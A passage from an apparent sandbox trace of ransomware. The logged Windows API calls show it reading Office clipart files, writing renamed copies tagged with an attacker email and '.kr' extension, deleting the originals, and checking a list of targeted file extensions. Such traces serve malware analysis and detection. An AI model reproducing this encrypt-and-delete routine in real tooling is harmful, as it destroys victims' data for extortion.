(lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0194.272] GetLastError () returned 0x0 [0194.272] ReadFile (in: hFile=0x548, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x76ce, lpOverlapped=0x0) returned 1 [0194.274] WriteFile (in: hFile=0x3f8, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x76d0, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x76d0, lpOverlapped=0x0) returned 1 [0194.276] ReadFile (in: hFile=0x548, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0194.276] WriteFile (in: hFile=0x3f8, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0194.276] SetEndOfFile (hFile=0x3f8) returned 1 [0194.276] CloseHandle (hObject=0x3f8) returned 1 [0194.276] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.276] SetEndOfFile (hFile=0x548) returned 1 [0194.279] CloseHandle (hObject=0x548) returned 1 [0194.279] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0194.280] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01657_.wmf")) returned 1 [0194.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0194.280] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0194.280] lstrlenW (lpString=".doc") returned 4 [0194.281] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.281] lstrlenW (lpString=".docx") returned 5 [0194.281] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0194.281] lstrlenW (lpString=".pdf") returned 4 [0194.281] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.281] lstrlenW (lpString=".xls") returned 4 [0194.281] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.281] lstrlenW (lpString=".xlsx") returned 5 [0194.281] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0194.281] lstrlenW (lpString=".ppt") returned 4 [0194.281] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0194.281] lstrlenW (lpString=".zip") returned 4 [0194.281] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.281] lstrlenW (lpString=".rar") returned 4 [0194.281] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.281] lstrlenW (lpString=".bz2") returned 4 [0194.281] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.281] lstrlenW (lpString=".7z") returned 3 [0194.281] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0194.281] lstrlenW (lpString=".dbf") returned 4 [0194.281] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0194.281] lstrlenW (lpString=".1cd") returned 4 [0194.281] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0194.281] lstrlenW (lpString=".jpg") returned 4 [0194.281] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0194.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0194.282] lstrlenW (lpString=".doc") returned 4 [0194.282] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.282] lstrlenW (lpString=".docx") returned 5 [0194.282] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0194.282] lstrlenW (lpString=".pdf") returned 4 [0194.282] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.282] lstrlenW (lpString=".xls") returned 4 [0194.282] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.282] lstrlenW (lpString=".xlsx") returned 5 [0194.282] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0194.282] lstrlenW (lpString=".ppt") returned 4 [0194.282] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0194.282] lstrlenW (lpString=".zip") returned 4 [0194.282] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.282] lstrlenW (lpString=".rar") returned 4 [0194.282] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.282] lstrlenW (lpString=".bz2") returned 4 [0194.282] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.282] lstrlenW (lpString=".7z") returned 3 [0194.282] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0194.282] lstrlenW (lpString=".dbf") returned 4 [0194.282] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0194.282] lstrlenW (lpString=".1cd") returned 4 [0194.282] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01657_.WMF") returned 68 [0194.283] lstrlenW (lpString=".jpg") returned 4 [0194.283] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.283] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0194.283] lstrlenW (lpString="FD01658_.WMF") returned 12 [0194.283] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0194.283] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=17924) returned 1 [0194.284] CloseHandle (hObject=0x548) returned 1 [0194.284] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf")) returned 0x220 [0194.284] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0194.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0194.284] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.284] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0194.285] GetLastError () returned 0x0 [0194.285] ReadFile (in: hFile=0x548, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x4604, lpOverlapped=0x0) returned 1 [0194.287] WriteFile (in: hFile=0x3f8, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x4610, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x4610, lpOverlapped=0x0) returned 1 [0194.565] ReadFile (in: hFile=0x548, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0194.565] WriteFile (in: hFile=0x3f8, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0194.565] SetEndOfFile (hFile=0x3f8) returned 1 [0194.565] CloseHandle (hObject=0x3f8) returned 1 [0194.565] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.566] SetEndOfFile (hFile=0x548) returned 1 [0194.572] CloseHandle (hObject=0x548) returned 1 [0194.572] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0194.573] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01658_.wmf")) returned 1 [0194.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0194.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0194.573] lstrlenW (lpString=".doc") returned 4 [0194.574] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.574] lstrlenW (lpString=".docx") returned 5 [0194.574] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0194.574] lstrlenW (lpString=".pdf") returned 4 [0194.574] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.574] lstrlenW (lpString=".xls") returned 4 [0194.574] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.574] lstrlenW (lpString=".xlsx") returned 5 [0194.574] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0194.574] lstrlenW (lpString=".ppt") returned 4 [0194.574] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0194.574] lstrlenW (lpString=".zip") returned 4 [0194.574] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.574] lstrlenW (lpString=".rar") returned 4 [0194.574] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.574] lstrlenW (lpString=".bz2") returned 4 [0194.574] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.574] lstrlenW (lpString=".7z") returned 3 [0194.574] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0194.574] lstrlenW (lpString=".dbf") returned 4 [0194.574] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0194.574] lstrlenW (lpString=".1cd") returned 4 [0194.574] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0194.574] lstrlenW (lpString=".jpg") returned 4 [0194.574] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0194.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0194.575] lstrlenW (lpString=".doc") returned 4 [0194.575] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.575] lstrlenW (lpString=".docx") returned 5 [0194.575] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0194.575] lstrlenW (lpString=".pdf") returned 4 [0194.575] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.575] lstrlenW (lpString=".xls") returned 4 [0194.575] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.575] lstrlenW (lpString=".xlsx") returned 5 [0194.575] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0194.575] lstrlenW (lpString=".ppt") returned 4 [0194.575] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0194.575] lstrlenW (lpString=".zip") returned 4 [0194.575] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.575] lstrlenW (lpString=".rar") returned 4 [0194.575] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.575] lstrlenW (lpString=".bz2") returned 4 [0194.575] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.575] lstrlenW (lpString=".7z") returned 3 [0194.575] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0194.575] lstrlenW (lpString=".dbf") returned 4 [0194.575] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0194.575] lstrlenW (lpString=".1cd") returned 4 [0194.575] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01658_.WMF") returned 68 [0194.576] lstrlenW (lpString=".jpg") returned 4 [0194.576] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.576] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0194.576] lstrlenW (lpString="FD02115_.WMF") returned 12 [0194.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0194.577] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=4660) returned 1 [0194.577] CloseHandle (hObject=0x548) returned 1 [0194.577] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf")) returned 0x220 [0194.577] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0194.577] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0194.577] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.578] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.578] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0194.578] GetLastError () returned 0x0 [0194.578] ReadFile (in: hFile=0x548, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x1234, lpOverlapped=0x0) returned 1 [0194.580] WriteFile (in: hFile=0x3f8, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x1240, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x1240, lpOverlapped=0x0) returned 1 [0194.581] ReadFile (in: hFile=0x548, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0194.581] WriteFile (in: hFile=0x3f8, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0194.581] SetEndOfFile (hFile=0x3f8) returned 1 [0194.581] CloseHandle (hObject=0x3f8) returned 1 [0194.582] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.582] SetEndOfFile (hFile=0x548) returned 1 [0194.584] CloseHandle (hObject=0x548) returned 1 [0194.584] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0194.585] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02115_.wmf")) returned 1 [0194.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0194.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0194.586] lstrlenW (lpString=".doc") returned 4 [0194.586] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.586] lstrlenW (lpString=".docx") returned 5 [0194.586] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0194.586] lstrlenW (lpString=".pdf") returned 4 [0194.586] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.586] lstrlenW (lpString=".xls") returned 4 [0194.586] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.586] lstrlenW (lpString=".xlsx") returned 5 [0194.586] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0194.586] lstrlenW (lpString=".ppt") returned 4 [0194.586] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0194.586] lstrlenW (lpString=".zip") returned 4 [0194.586] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.586] lstrlenW (lpString=".rar") returned 4 [0194.586] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.586] lstrlenW (lpString=".bz2") returned 4 [0194.586] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.586] lstrlenW (lpString=".7z") returned 3 [0194.586] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0194.586] lstrlenW (lpString=".dbf") returned 4 [0194.586] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0194.586] lstrlenW (lpString=".1cd") returned 4 [0194.586] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0194.587] lstrlenW (lpString=".jpg") returned 4 [0194.587] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0194.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0194.587] lstrlenW (lpString=".doc") returned 4 [0194.587] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0194.587] lstrlenW (lpString=".docx") returned 5 [0194.587] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0194.587] lstrlenW (lpString=".pdf") returned 4 [0194.587] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0194.587] lstrlenW (lpString=".xls") returned 4 [0194.587] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0194.587] lstrlenW (lpString=".xlsx") returned 5 [0194.587] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0194.587] lstrlenW (lpString=".ppt") returned 4 [0194.587] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0194.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0194.587] lstrlenW (lpString=".zip") returned 4 [0194.587] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0194.587] lstrlenW (lpString=".rar") returned 4 [0194.587] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0194.587] lstrlenW (lpString=".bz2") returned 4 [0194.587] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0194.587] lstrlenW (lpString=".7z") returned 3 [0194.587] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0194.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0194.587] lstrlenW (lpString=".dbf") returned 4 [0194.587] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0194.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0194.587] lstrlenW (lpString=".1cd") returned 4 [0194.587] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0194.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02115_.WMF") returned 68 [0194.588] lstrlenW (lpString=".jpg") returned 4 [0194.588] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0194.588] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0194.588] lstrlenW (lpString="FD02116_.WMF") returned 12 [0194.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0194.588] GetFileSizeEx (in: hFile=0x548, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=3988) returned 1 [0194.589] CloseHandle (hObject=0x548) returned 1 [0194.589] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf")) returned 0x220 [0194.589] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0194.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0194.589] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.589] SetFilePointerEx (in: hFile=0x548, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.589] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02116_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02116_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0194.590] GetLastError () returned 0x0 [0194.590] ReadFile (in: 